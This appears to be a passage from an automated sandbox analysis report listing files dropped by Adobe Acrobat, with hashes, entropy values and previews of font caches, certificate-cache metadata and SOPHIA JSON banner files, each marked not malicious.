Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.732136534099206
Encrypted:	false
SSDEEP:	3:kkFklZsfhK3/tfllXlE/HT8k97l1NNX8RolJuRdxLlGB9lQRYwpDdt:kKHfw3/eT8S7VNMa8RdWBwRd
MD5:	A17255BB39EBC28371C57C2557DF3866
SHA1:	095BC26986FF52768C3BB890DE36C3616F88F2B0
SHA-256:	4588038EDFD757D3380B6C22B09EB770CD3EDE9573BEBB60CC3494CDFE6DB4F7
SHA-512:	98AE359EF107D51C229241BF57BA5B3929D06E0CB233932FB6EB490FD3187E27E44CFA4F0B421A7C0ED903F56E380F3808F12E77E0505345FAA2170862744398
Malicious:	false
Preview:	p...... .........v.:.c..(....................................................... ..........W....n...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kKrptL9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:fiDnLNkPlE99SNxAhUe/3
MD5:	D806299BC1E932BDF9E8D908001394A6
SHA1:	FA54E645DBFB9314BA38A7582DE01E54CA6793A0
SHA-256:	BC492F75FB920F2DEB4E587AFFB19182C84FAC0201782845A3D1DDDBD976FC2D
SHA-512:	7C4460A74A265B388848DDD7DFB56D798E665CA2B7AC2C7BA5B28B4F936157C3BDD71493D2B677E876F2A3EDC40736A6DB7A21ABD28525D398BCBD9AE7D9697D
Malicious:	false
Preview:	p...... ..........;M.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6496

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.358130175266983
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJM3g98kUwPeUkwRe9:YvXKX9PMa1UYpW79ysGMbLUkee9
MD5:	48FDD2F1EBB62E458B154AD1C7891A86
SHA1:	31C76E94AA46E59BCB8535C32BB6A5A33108F154
SHA-256:	809FC3D304C37DED15475F703A234A47DD150B555A377FACAA1D822E30EA6E83
SHA-512:	9017A3602B9639DB7172A1FEBB6483385F9782FA5409C82EAF16E9F6B3D05DD97980937D4FDB3BAC51D7578C8F8E28F82D39B9B9F47A9963314AB29C639767CD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.29688950480702
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfBoTfXpnrPeUkwRe9:YvXKX9PMa1UYpW79ysGWTfXcUkee9
MD5:	1B07A206FD379FA552EE539BADE501A4
SHA1:	E85A634502A2EC96291E82E18C0DB9940E54004C
SHA-256:	94664814058C1B83FAF3D37DD39E92A77F7819407CE5BC7C454A42DC98F77108
SHA-512:	43EE78C124673068B7A0A66AEF7F2C5A532BEA12747161F1090DB0E9C4265628B1A350324D816AEC6DC654B3AA9578364241A9600AB9FD99EE8D1B7DABDE1C59
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.274432703025643
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfBD2G6UpnrPeUkwRe9:YvXKX9PMa1UYpW79ysGR22cUkee9
MD5:	C25431A9F67F8D6804CFBCD5D6F9E7B0
SHA1:	8F88A9103AB776A13F6AB8709F0BC8DB2B64B44A
SHA-256:	0F3754318D4E14E45FC25B96E02598FF5D22FB6C8FEAA307A66CCEA49763C0E5
SHA-512:	681FEBAFFCCFAC12829CD1F5F462F269EE95AB1C160006BADEFBCA2D5F930E5DBBA696CBBABC4AAF1F0A11AFACD5F7D64F4DC01F4B3D90048E6007A83E9B7DF2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336839431480561
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfPmwrPeUkwRe9:YvXKX9PMa1UYpW79ysGH56Ukee9
MD5:	86AF3319B5EE83C3E6C83AB684ABFC27
SHA1:	3295D508DB099A2B1C1D5C9B79C79476D42040DC
SHA-256:	7F9B11D879DB2D80A954B967CC5B4EBCD0EBF2D40B97064D46CD0593579AE6DE
SHA-512:	DE674DDCFBCFECD18EB8DFACB516737875D24F171DCA072B5324DA4C2CAF759CE0A91EF42CCAB98779B883F99B837BFA884D20B615517D642BCCDF7701A129E0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.693153837386565
Encrypted:	false
SSDEEP:	24:Yv6X9/FiApLgE9cQx8LennAvzBvkn0RCmK8czOCCSv:YvdAhgy6SAFv5Ah8cv/v
MD5:	159CFA4CF09A89CDAAED5A6F354313D5
SHA1:	9E701A519F8E16982DD4E479CAD233047EC4B1C3
SHA-256:	0B5C49382A21A1D281371277DFF1B02D0768DB7881A8B3108A649EFD911CD381
SHA-512:	D23B3462328829D6D039ECCDCEA281D7D198E273BB8F8F01C0FA51488A56191C2A13E6BE7BB122C6CAB9DB399BF520513B88EA5ECEB953F55745DCE4F95F648D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.284874959161918
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJf8dPeUkwRe9:YvXKX9PMa1UYpW79ysGU8Ukee9
MD5:	527A7030206D87E862E663AE7004A9B9
SHA1:	34BF433F12D435D8402BECDC978B961152E9A271
SHA-256:	33C9E02F6E5DAB7DF158509B5A242749E54CA8B48BF08F1E52BA86ACFF101D62
SHA-512:	4C03F614704330746FFF444750A2B72CDF8D0D3D8F016EBD9E878DCFCFC0A524137611E1F8E9F73DC3C6F687F8BC5CFEF9BE093F84994C71A985B1793C6BB8F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.28689434900723
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfQ1rPeUkwRe9:YvXKX9PMa1UYpW79ysGY16Ukee9
MD5:	AFD7B3937CDABDBCC985D468123920D9
SHA1:	26F7CD6DA0D79B74EFB3F6A30A1D5E58B8E94839
SHA-256:	E99A2F4960C6E151BA3F4FC7042D717ED5E1A26969BA1F007FF37547A211E6AB
SHA-512:	68C8D9931A86F6194738A12DA27F9B1C3134A2843DA37D52BFB29DE881AF89ACF1E6B4969E91135C8CB89C141B6A94E092EF1B4F78C193219C5388FB510DD6DE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.308112978140658
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfFldPeUkwRe9:YvXKX9PMa1UYpW79ysGz8Ukee9
MD5:	A9F121AB7070405FD1606EAE5A226FA5
SHA1:	957588D87B72CD9157364D8EDDF620E0786E16E7
SHA-256:	B5C245DD4163FB03CA0CDF05054804A29407A39A27D3C22DD6F6E0106436B932
SHA-512:	A6DC30A0A92A3E7BC37F1C7A8BB5A85FE3F2BF32658A7719815B81BB960897208C0D80E0763D0CD2BBC755316D530BF3B0187D4622126FBF19D5CC4688010C66
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.313116089309759
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfzdPeUkwRe9:YvXKX9PMa1UYpW79ysGb8Ukee9
MD5:	4225AC5C7C857EA9B1439FA06DD7014F
SHA1:	44613CE1C2F0DBBDA3BB9A5270572D3E767EB2ED
SHA-256:	FC552CD0E21E4FE885D96B0B20330F599393B2A6B2B7868CE86B2A3EE56D45E1
SHA-512:	AB091C2EDAD76B7B7E8DC7F62F5178294E5C1F42DEF71E93E1E970090581806C369D04E4F10CFA0E84699C41A79CBD40875178B060C089125F25F3A52931F46A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.293907603069976
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJfYdPeUkwRe9:YvXKX9PMa1UYpW79ysGg8Ukee9
MD5:	0EEF2B552779A26D087E684023E0846E
SHA1:	3223BD425408AE39667AE71097185A5C0EFA6014
SHA-256:	BB2364C4755890B81266B5F74BED0CF0D9B6904AF9BA9985BDE6D4996C312935
SHA-512:	D07CEFB1FB0842CCC6B00F71E7C1D7697C518FA732B94C942DF6F27D2F7AE71A5F74B6FC29CD65426FA3452C9118F1E7B80B235B53376BCC1AA1E102D715844A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.279533013850479
Encrypted:	false
SSDEEP:	6:YEQXJ2HX9R4Iqpa1x+FIbRI6XVW7+0YyyEeoAvJf+dPeUkwRe9:YvXKX9PMa1UYpW79ysG28Ukee9
MD5:	77F202A2AA540F81A366997A421C68FC
SHA1:	0ADE3803492D0AC2F0FF6BBAE106D32246432DBE
SHA-256:	01402ABC6782CD3EB60838DCC727B97EAB26436E05F827A5194444D53ED90603
SHA-512:	BF5A08E4FE488D9778159B277EF03E0973F969F52180713A7EF1A702F67E3DFD38251FE55A1B1D84E806A3B0CE7EA6EA4DF702AD60F0D6B1AEB949D8BECB7C53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"91f4b9c4-a36a-4875-9156-c828b7cfa71f","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736731899864,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.27749657288769
Encrypted:	false
